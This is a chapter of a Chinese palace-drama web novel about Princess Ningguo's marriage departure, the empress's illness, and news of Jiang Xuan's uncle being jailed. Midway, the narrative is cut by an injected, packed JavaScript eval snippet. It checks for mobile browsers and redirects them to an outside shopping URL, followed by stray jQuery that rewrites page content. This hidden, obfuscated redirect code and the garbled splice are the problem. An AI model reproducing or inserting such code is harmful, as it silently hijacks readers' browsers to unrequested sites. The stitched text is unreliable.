“阿姊!”
突如其来的呼声惹得人头攒动,江萱循声望去,见高台一侧的宗亲人群中熟悉人影挣扎向前,将要从人群中窜出时却又被人强行拦下。
江萱一眼认出那张焦急面孔,正是宁国公主胞弟,那位周小郎君,不对,如今该称呼宁王世子了。
江萱眉眼一动,又将目光移到中央跪拜皇帝皇后的少女身上。
那身华丽衣装压得她动弹不得,便是眼中噙着泪水面前事务渐渐模糊不清,她也不能回头。
宁王世子看着那一身金红交织的冠服急红了眼,试图冲破眼前桎梏,却被人反手钳住。
堂堂宁王世子大庭广众之下被人当贼似的擒住,人群中不由传来几声轻呼,却无一人敢上前制止。
江萱看向单手擒住周与詹那人,玄袍银铠,眉宇间与周与詹有几分相似,年岁上却要比周与詹大上十岁。
江萱觉得他眼熟,又瞟见宗亲中一脸担忧的昌平长公主和站在她身侧的杨氏,瞬间便想起那人的身份。
秦王!
自秦王不顾王命,轻骑北上击退回鹘,江萱已有一年多没见到他,脑海里还是那日宫宴初见他时一身贵胄气派,如今再见只觉他浑身增添肃杀之气,让人不敢直视。
昔日秦王击退回鹘大军,迫使他们入京求和,而今陛下又命他护送宁国公主和亲,陛下的心意着实令人难测。
江萱收回目光,眼眸微动,朝高台上的皇帝皇后快速瞥上一眼。
皇帝的脸色不算好看,可碍于满朝大臣与回鹘使者,却也不能当庭发落宁王世子。
至于皇后……她的气色着实不算太好,如今这样不过是在强撑罢了。
江萱心中暗叹,只盼着这场闹剧赶紧结束才好。
丹凤门前,文武大臣与回鹘使者站在高台下不知发生了何事,亦无人敢上前催促。
如今虽过了最热的时候,可暑气未消秋意不来,不过是静立片刻,众人便汗流浃背了。
高台上,皇帝冰冷的目光扫过秦王与宁王世子,一挥手示意秦王松开手。
见再无人阻止自己,周与詹快步冲到宁国公主面前跪下,拽住她的衣角便道:“阿姊,跟我走!”
说罢,周与詹作势拽着宁国公主便欲起身,然他用尽了最大的力气,宁国公主就像是一尊佛像纹丝不动。
周与詹的脸瞬间灰败下去,原先愤慨的脸上满是不可置信与痛心疾首,他似乎想问些什么,可看着宁国公主那张决绝的脸,话到嘴边却又说不出口。
宁王妃忙从人群中走出,下跪告罪:“是臣妇教养不善,还请陛下降罪。”
话音刚落,宁王仿佛才回过神,连忙上前躬身告罪。
宁王是先帝长子,见他请罪,跟在他身后的宗室哗啦啦地跪了一片,皇帝见此,脸色稍霁。
“兄长嫂嫂爱女情切,朕亦为人父自当体谅,都起来吧。”皇帝状似温和地摆摆手,淡漠的目光却迟迟未从宁国公主姐弟身上离开。
“宁国,朕让你和亲,你可悔了?”
高台之上,任何话语都显得飘渺。
皇帝此语,不可谓不诛心,宁国公主一个回答不慎便要牵连宁王府满门,江萱不由为她揪心。
“能为天下黎民百姓解忧是臣女之幸。”宁国公主垂眸答道。
因和亲之故,宁国公主今日脸上的妆容浓烈到极致,几乎把她的脸画成另一个人的模样。
宁国公主弯腰叩首,头顶的冠饰簌簌作响,盖住她语中颤意。
皇帝精明的目光在她的发髻上盘旋好几圈,却迟迟未语。
皇后面有不忍,正欲开口,却见宁国公主微微躬身,不着痕迹地撇开周与詹的手,道:
“世子,珍重。”
语中郑重,宛若千金。
江萱的心头好似被压了千斤秤砣,闷闷地喘不上气。
周与詹似是没料到宁国公主会这样说,眸中满是不可置信。他深呼吸两口,终是下定了决心,转身朝皇帝叩拜道:
“民间凡女子出降必以手足兄弟亲送之,今天子嫁女,臣愿为使亲送公主至番邦以结秦晋之好,护我大周边塞无恙,还请陛下恩准。”
少年的头颅低低垂下,在皇权面前,再怎样不甘任何青年热血终会冷却。
宁国公主的泪水险些落下,被她用宽阔的长袖一掩,任何人都瞧不见她脸上的悲戚与伤心。
不过须臾,宁国公主面孔又变回庄重肃穆,几乎和先前无二。
见她姐弟二人皆未有异议,皇帝锐利的眼神渐渐缓和下来甚至更为温情,他很是满意地看向宁国公主二人,适时彰显自己宽和的胸怀。
“准!”
“谢陛下。”
二人俯首再拜。
江萱不忍见此场景,垂首低眉。
高处不胜寒,台上这一出闹剧终归落幕,台下众臣与使者虽面面相觑却不知高台上究竟发生了什么。
只见宁王世子青衣纁裳,执宁国公主手从高处走下,步步朝回鹘使者走去。
“阿詹。”
“阿姊,我在。”
“食君之禄,担君之忧,不必为我担忧。”
“可是阿姊……”
“阿詹,你如今是宁王府的世子,不可以再任性,勿让阿娘与我再为你提心吊胆了。你也别忘了肩上的担子,身为宗室,必要报效国家与朝廷,莫让百姓再有血泪。”
“是,我都记下了。”周与詹紧紧攥住宁国公主的手,迟迟不愿放开。
装扮华丽的车架前,宁国公主突然停下脚步,引得为她掀开车帘的回鹘使者满脸疑惑。
她转过身,朝高台上的人遥遥一拜。
“爹,娘。宁国,去了。”
话毕,她起身入轿,任由车马载着她沿朱雀大街朝那个与大庆宫相反的方向渐行远去。
“宁国公主出降了!”宁王世子顺手接过旌节,走在队伍的最前端,高声道,“起!”
浩浩荡荡的队伍如潮水般退去,宁国公主的话像是一把利刃在所有人的心上狠狠划上一道,命妇中多愁善感者不由掩面落泪。
宁王妃看着那逐渐远去的队伍再也忍耐不住心中激荡,踉跄几步却被身上那件翟衣狠狠绊了一跤,便是头顶的九钿花钗冠掉了两支都未曾发觉。
秋风渐起,雏鸟离巢,又是一年大雁南徙。
江萱站在高台上,目送宁国公主的仪仗远去。
丹凤门前,一片绯衣紫绶,江萱想要在人群中找寻熟悉的身影,却始终不得。
末夏的风带着些许凉意,吹得江萱心颤。
宫墙顶上盘旋不知名的鸟儿咕咕作响,诉得人肝肠寸断。
自那日送宁国公主出降,皇后的病沉疴日重,连着好几日起不来床,太医诊脉道是皇后中了暑气,寒热交杂内症难医,只能好生将养着,看看能不能好起来。
宁王世子为姐顶撞陛下的事情还是传了出去,然于世人口中却是一段姐弟情深的佳话。
然这一段佳话便如街边话本,三五日间就换了一茬。
江萱久居宫中,悉心照料皇后,于这宫墙外的事听得便少了。</
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17530506|203676||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
p>
皇帝来看过皇后两三回,只是皇后病得昏昏沉沉,口中呢喃那位早夭二公主的名讳,被皇帝听见后,皇帝便不再来了。
皇后偶有清醒的时候,听见江萱说皇帝曾来看过自己,只是淡然一笑,没有细问。
帝后之间的嫌隙非一两日可弥合的,苏宫正劝过皇后一两回,只是皇后不以为意便也就算了。
后宫百花争艳,如今牡丹花落,其余的花卉更是争奇斗艳,好不热闹。
九华宫又渐渐炙手可热了起来,自打四公主病去后,薛淑妃受皇帝冷眼几月,近来竟是她陪同圣驾最多,只是还没有恢复她协理六宫之权罢了。
幸而皇后病中闭门谢客,否则以薛淑妃的脾气,怕是早就登门耀武扬威了。
自陛下登基以来,皇后一直宽仁待下,宫中年长些的妃嫔除薛淑妃外都与皇后私交甚笃,私底下都想来侍奉皇后病体,皆被苏宫正一一回绝了。
聂贵妃倒是来看过皇后几回,劝皇后珍重自身,皇后不过一笑。
大雁在宫墙徘徊了好几圈,可皇后的病久久未见起色,着实令人心焦。
太医每日进出淑景殿好几回,药方都换了好几副,然皇后就这样在满殿药味中一日睡得时辰长过一日。
江萱侍奉皇后左右如何心中不难受,夜里听见皇后呼唤惊醒好几回,一转头仍见皇后阖眼沉睡。
这日,江萱捧着太医新开的药方正要去煎药,忽闻檐下几个小药童聚在一起嘀咕什么,正欲上前叮嘱却不曾想听到以下交谈。
“你们听说了吗,江大人下狱了!”
“江大人?哪个江大人?这朝上可好几个江大人呢。”
“还能是哪个江大人?就是那个如今在礼部任值的庐州江氏江大人呗!”
江萱心头一惊,不由倒吸一口气。
原先聚在一起的药童察觉动静忙转头,见了江萱撒腿就要跑。
“站住!皇后病重,谁准你们窃窃私语,是当宫里的规矩是摆设吗?”
江萱一声厉喝,止住几人脚步,忙上前逮住带头议论的小药童,压低声音追问道:“江尚书入狱了?你怎么知道?细细说来!”
那药童见逃不掉,只得朝江萱讪讪一笑,道:“姐姐不知道?宫里头都传遍了,江尚书牵涉科举舞弊一案,又包庇其族人贪污受贿、藏匿户籍。如今的江府已被封禁,连带着他的两个儿子一起下了狱,依我看怕是要朝堂大动了!”
小药童的消息像是一道晴天霹雳打在江萱头顶,江萱顿时心乱如麻。她虽不轻信小药童的话,可她如今在宫中想要查证也难。
须臾间,江萱心下已经便有了计较,眼下还得去问问苏宫正才是。
既有了主意,江萱忙不迭地去寻苏宫正:“姑姑,我舅舅……”
气喘吁吁间江萱方开了口,又见苏宫正远远招呼内殿开窗通风的小宫婢上前嘱咐道:
“你们几个在殿内时候,这殿内的气味不能难闻,都仔细着点。若见了风大赶忙把窗闭上,免得吹坏了殿下。殿下如今病着,这淑景殿还得由我们撑着,宫里的人可不能乱,更不能给殿下找麻烦,可都听清楚了?”
“喏。”
小宫婢们顺从地应和道,苏宫正一转头朝江萱和颜悦色道:“姑娘可有什么急事?”
江萱微微一怔,很快便恢复过来,朝苏宫正笑道:“我没事,姑姑且去忙吧,我去给娘娘煎药了。”
苏宫正朝她微微颔首,转头朝殿内走去伺候皇后翻身擦洗。
看着苏宫正离去的背影,江萱心中百感交集。